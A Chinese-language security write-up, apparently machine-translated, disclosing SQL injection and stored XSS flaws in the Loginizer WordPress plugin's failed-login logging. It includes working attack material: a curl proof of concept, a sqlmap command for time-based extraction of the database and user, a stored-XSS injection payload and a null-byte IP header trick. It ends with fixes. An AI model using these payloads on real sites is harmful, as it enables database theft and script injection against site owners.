目录导航
在这里,我们讨论用于WP的Loginizer安全插件,该插件可保护网站免受暴力攻击(非常需要的功能),并以“双因素验证”,“ reCAPTCHA”,“ PasswordLess Login”的形式提供额外的亮点……最近,我在插件代码中进行了一些检查几乎没有发现安全问题,例如通向SQLi的两条路径和一条XSS。除了过去曾经对插件代码进行过审核(在下文中有更多有关此事实)的事实外,代码中的问题仍然非常严重。
Eli5 PoC
插件计算失败的登录尝试次数wp_login_failed
,wp_authenticate
例如在XMLRPC和Web界面中执行身份验证的官方wp方法中,调用失败。在wp_signon中,我们没有削减用户名/密码对(对于XMLRPC则不是这样),并且像这样发送给wp_authenticate
。在这里,我们有一个简单的方法sanitize_user
,当使用$strict = false
默认参数值调用该方法时,它是没有用的。因此,未受保护的$username
功能会朝着挂钩的任何功能发展wp_login_failed
。在Loginizer中:
add_action('wp_login_failed', 'loginizer_login_failed');
通过函数定义,我们可以看到raw如何$username
达到插件功能:
function loginizer_login_failed($username, $is_2fa = ''){
global $wpdb, $loginizer, $lz_cannot_login;
...
此外,在此函数中,还会使用未清除的DB参数调用DB:
...
$result = lz_selectquery("SELECT * FROM `".$wpdb->prefix."loginizer_logs` WHERE `ip` = '".$loginizer['current_ip']."';");
...
$sresult = $wpdb->query("UPDATE `".$wpdb->prefix."loginizer_logs` SET `username` = '".$username."', `time` = '".time()."', `count` = `count`+1, `lockout` = '".$lockout."', `url` = '".$url."' WHERE `ip` = '".$loginizer['current_ip']."';");
...
$insert = $wpdb->query("INSERT INTO `".$wpdb->prefix."loginizer_logs` SET `username` = '".$username."', `time` = '".time()."', `count` = '1', `ip` = '".$loginizer['current_ip']."', `lockout` = '0', `url` = '".$url."';");
...
并且我们根据用户登录数据看到了SQLi容易受到攻击的地方。如果您监视error_logs,则最简单的PoC为:
curl 'http://local.target/wp-login.php' --data-raw 'log=test%27loginizer&pwd=fdsfsdfs&wp-submit=Log+In&redirect_to=&testcookie=1'
并且在error_log中,您将看到
[Mon Oct 19 13:20:27.425151 2020] [php7:notice] [pid 129822] [client 127.0.0.1:37896] WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'loginizer', `time` = '1603106427', `count` = '1', `ip` = '127.0.0.1', `lo' at line 1 for query INSERT INTO `wp_loginizer_logs` SET `username` = 'test'loginizer', `time` = '1603106427', ...
这意味着我们不会在insert
语句中插入SQLi ,因为在这种情况下会出错,但是在真正的攻击ip值的情况下,可以很容易地改写并且将无用的数据填充到记录器表中。更加隐蔽的方法是将sqli用作update
声明。
python3 sqlmap.py -u http://local.target/wp-login.php --method='POST' --data='log=&pwd=password&wp-submit=Log+In&redirect_to=&testcookie=1' -p log --prefix="', ip = LEFT(UUID(), 8), url = ( TRUE " --suffix=") -- wpdeeply" --dbms mysql --technique=T --time-sec=1 --current-db --current-user
作为此SQLi的补充,在代码中,以下用于在管理区域中打印输出:
// Get the logs
$result = lz_selectquery("SELECT * FROM `".$wpdb->prefix."loginizer_logs`
ORDER BY `time` DESC
LIMIT ".$lz_env['cur_page'].", ".$lz_env['res_len']."", 1);
...
foreach($result as $ik => $iv){
$status_button = (!empty($iv['status']) ? 'disable' : 'enable');
echo '
<tr>
<td>
<input type="checkbox" value="'.$iv['ip'].'" name="lz_reset_ips[]" />
</td>
<td>
'.$iv['ip'].'
</td>
<td>
'.$iv['username'].'
</td>
因此,除了sanitize_user
函数剥离标签的事实之外,当我们进入SQL机制时,我们也可以选择存储XSS攻击:
test',ip=concat(char(60),'b',char(62),'wpdeeply',char(60),char(47),'b',char(62),'-',LEFT(UUID(),8)) -- wpdeeply
就是这样,通过轻松,详细地了解SQLi + XSS $username
。
不仅是用户名
这个有趣得多,但是对较少的设置有效,但是确实是个好问题the ip地址的验证以下列方式发生:
function lz_valid_ip($ip){
// IPv6
if(lz_valid_ipv6($ip)){
return true;
}
// IPv4
if(!ip2long($ip)){
return false;
}
return true;
}
并且ip2long
不是二进制安全的,因此,如果IP HTTP标头到达其中包含空字节的后端,则我们在谈论SQLi,同时也在谈论标准的存储XSS漏洞。
if ( ip2long("127.0.0.1\x00'<script>") ) echo 'Valid IPv4';
哪些影响的设置以及如何更改,将不会在本文中公开?

一些事实
- 此插件多次成为未完成审核的“目标”,并在此处和此处产生了一些结果
- 当您执行静态代码分析时,很奇怪
sanitize_user
会允许'
或"
,但是无论如何都需要使用调试器 - 当您执行扫描并且您位于本地目标上时,明智的方法是检查应用程序的错误日志并尝试所有参数
- 看到wp org如何使用此插件https://wordpress.org/plugins/loginizer/advanced/将该安全更新推向WP实例,这很有趣,也很高兴,但是您是否仍然允许未知人员管理您的资产来自wp org?
- 我们都知道WP
error protection
是核心。您认为登录表单上没有任何由bot为SQLi尝试过的WP / Loginizer设置?是DB错误值得在安装中标记为问题,还是因为其他原因?
如何修复
- 更新Loginizer插件并继续使用,它是一款很好且有用的软件。
- 使用准备好的数据库语句。
- 关闭生产环境中的自动更新,并从阶段开始进行活动安装。它既涉及隐私,也涉及安全性。